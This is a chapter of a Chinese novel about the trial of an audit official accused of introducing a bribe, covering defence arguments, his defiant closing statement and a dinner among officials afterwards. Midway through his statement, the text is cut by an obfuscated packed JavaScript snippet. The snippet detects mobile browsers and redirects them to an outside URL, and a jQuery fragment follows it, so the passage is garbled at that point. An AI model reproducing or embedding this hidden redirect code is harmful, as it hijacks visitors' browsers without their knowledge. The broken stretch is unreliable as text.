3点半准时开庭。文心站在被告席上，趁公诉人在念起诉书时，他扫视了一眼坐在旁听席上的人。除了审计局的二位领导、他的家人和他的几个朋友，其他的人他都不认识，那是来自市检察院、法院和市电视台的。
这是新刑法实施以来，鄱阳湖地区开庭审理的第一件新案——介绍贿赂案，上面关注和重视是自然的。谁都想因此大做宣传，表现自己的政绩。这是一种时尚，能在媒体上占到头版头条的位置，就不仅仅是新闻价值那么简单。因而许多单位都想尽办法，无论如何要弄这么一个新闻效应出来。
本案案情简单，起诉书很快念完了。该审判长发问了：
——被告人姓名：文心
——年龄：34岁
——性别：男性
——文化程度：大学
——职业和职务：鄱湖县审计局业务股长
——对公诉人提出的诉讼事实有何解释？没有任何解释。
——那么辩护人呢，有什么要问的吗？小艳站起身，对审判长鞠了个躬，说：尊敬的审判长，各位陪审员，我有二个问题想请教公诉人，可以吗？审判长说，可以，尽量简洁一些。
好的，谢谢审判长。小艳转向公诉人，问，请问公诉人，我的当事人曾说过，他经手的款项往来只是借款，有借条在你们认为的“行贿人”手中，先前我作为辩护代理人查阅你们的案卷时，看到你们对该借条和借款经过的取证记录，但刚才在你们呈交法庭的证据里没说到这一证据，能解释一下吗？
公诉人说，我们没有对这一证据取证。
也就是说，你们没有对借条取证？没有，公诉人回答。
我有，小艳拿起桌上的借条复印件，上面有建筑公司会计在上面的签章，证明“此复印件与原件一致”，呈交给庭警，庭警转交给了审判长。小艳接着说，我要提请公诉人注意，借条上的借款日期与实际借款人陈小春将借来的款项存入银行的日期相差一天，金额一致，也就是说我的当事人晚上将钱送给陈小春，第二天上午陈小春将此款存入她的储蓄所，这与陈小春在检察院的口供一致，但公诉人有意在回避这一对本案定性十分重要的证据。
审判长用询问的眼光看了看公诉人，公诉人端坐在那里，从容地取出一份口供笔录，也交由审判长。公诉人说，这是昨天检察官对此案的其他当事人洪鹏等人的询问笔录，当事人和他的会计、出纳都一致肯定，该笔借款是文心自己的借支，不是行贿的那笔款，日期吻合，只是个巧合。公诉人说完微笑着将脸转向文心。
小艳不解，案卷材料半个月前就移送到刑庭，怎么突然冒出了个新的证据，难道？她似乎明白了三个证人为什么一个都不来的真正内因。正在想时，审判长打断了她的思路，说，辩护代理人，请继续你的第二个问题。
小艳回过神来，说，请问公诉人，承建国家拨款单位的建筑安装业务，施工单位是否应具有相应的资质，并必须是企业性质的施工单位？
不错，施工单位必须是企业性质的，并且要有一定资质，个人不能承建。
也就是说，即使我的当事人有介绍贿赂的嫌疑，也是为单位介绍，而不是为个人介绍的，对不？
可以这么理解。
那好，根据《刑法》第三百九十八条规定，为单位介绍贿赂的立案标准是20万元，而不是2万元，也就是说，我的当事人行为显著轻微，根本就不足以立案，更不应该提起公诉，对不？
这个……公诉人一时哑口了，他们只重点研究了为个人介绍贿赂，但没有仔细看为单位介绍贿赂行为的立案标准。倒是二位公诉人中的一位女的反应快，拿过话筒说，众所周知，我们县建筑行业的项目经理都是个人性质的，今天挂靠这个公司，明天挂靠那个公司，名义上是公司承建，实际上是个人行为，包括施工队伍，都是看山取材，临时聘请，没有固定的，法律也要尊重事实和具体民情嘛。
好一个尊重事实和民情，小艳心里想，挂靠本身就是违法的，把违法的事实作为对案件的定性依据岂不可笑。她正准备反驳，但审判长挥手示意她坐下，这件案子有政府领导出面，有审计领导打点，结果早就定了，何必呈口舌之争，耽误大家宝贵的时间，浪费纳税人的钱呢，他听得都要睡着了。他及时打断对大家都好，他说，庭辩到此结束，请控辩双方作结案陈词，公诉人先请。
公诉人将早就准备好的稿子来念，大意是，介绍贿赂人在本案中充当了桥梁的作用，虽然没有为行贿嫌疑人谋取什么不正当的利益，自己也没得任何好处，但已构成介绍贿赂的事实。念其认错态度较好，县未对国家造成什么经济损失，恳请法庭从轻处理。到最后，检察院还要做个好人。
接着是文心作结案陈词，他看了一眼旁听席上的妻子阿倩，再看了一眼坐在台上辩护席上的小艳，最后昂首看着审判席背后墙上高挂着的大大的国徽，显然那国徽很久没人打扫过，上面蒙了一层灰，要认真审视才能看清他的光芒。审视了许久，文心才说：审判长，各位陪审员，我，文心，从事经济法律工作十二年的审计干部，今天站在这个我本不该站的被告席上，要说的话很多，但我真的不知如何去说。在我的记忆里，经我审计发现并移送检察院、纪委、监察局的经济案件，大小不下50起，我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228525|197579||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
深知法律的尊严神圣不可侵犯。在看守所的开始时，说心里话，我还有一种不屑与同号房的人为伍，无非是人在屋檐下。但是后来我才体会到，那些人，那些和我一样的人并不是大多数所谓正派守法的人所想象的那样邪恶，也许他们真的犯了不该犯的错，但他们所犯的错比起那些正派人士来，也许还要好很多。在里面时，我就一直在想，是谁把那些原本善良的灵魂扭曲？是谁使人们只相信金钱和权势，而不再相信法律！文心显然很激动，这回审判长并没有显得不耐烦而打断，相反，他是第一次在庄严的法庭上听到一位公务员说这样的话，觉得新鲜且刺激 。
文心顿了顿，平息了激动，再一次审视墙上高挂着的国徽，转过身对着旁听席，说，今天来旁听的，有我的领导和朋友，很多是我邀请来的，我邀请他们来的目的，是想让他们见证，见证一下一位敬岗爱业，辛勤奋斗了十五年的审计人，今天是怎样站在这个被公为是耻辱的被告席上，接受公正的法律的审判。我早就听说这是个不同寻常的审判，想必坐在旁听席上的衣着整齐而高贵的女士、先生们，一定是市里来的领导。感谢你们这么重视和关注鄱阳湖地区乃至全省的介绍贿赂第一案。这将成为你们法制宣传的极好材料，但是你们可能会失望，因为关于案件的本身我什么也不会说，我相信你们也不会作电视报道，因为曝光的是我，但抹黑的是你们。
这是怎样的一个审判呀，没有行贿人，没有受贿人，没有一个主犯，没有被告要求的重要证人，只有一个作为被告的从犯，孤零零地站在这儿，当然还有上级来的领导，还有电视台现场采访、摄像，所以除去众多的涉案人，独我一人站在这，我并不感觉孤独，我所享受的待遇，只有被通缉的重型犯人才能享受得到的。难道你们不觉得这真是个特别的审判吗？是蓄谋已久、精心炮制出来的审判吗？目的是什么？你们想过没有？
文心因为愤怒倒变得思维清晰起来，坐在旁听席上的审计局二位领导真为他捏一把汗，生怕他的倔犟、使性而使组织的努力付之一炬。
我的话完了，我相信法律会作出公正的判决，谢谢审判长！
整个庭审过程花了一个半小时。晚上，审计局的陈副局长以私人名义邀请了法院和检察院的庭审和旁听的几位领导在一起吃饭。来客都知道，是为文心说好话。酒席上，他们都说文心是吃了性格的亏，大学毕业都十几年了，还是不能适应这个社会。武副检也说，检委会几次研究这件事，大多数委员都不赞成起诉，如果文心去了魏检或刘局家，认个错，多说些好话，也许就不至于这样。大家你一言，我一语，喝了个七七八八，才各自回家休息。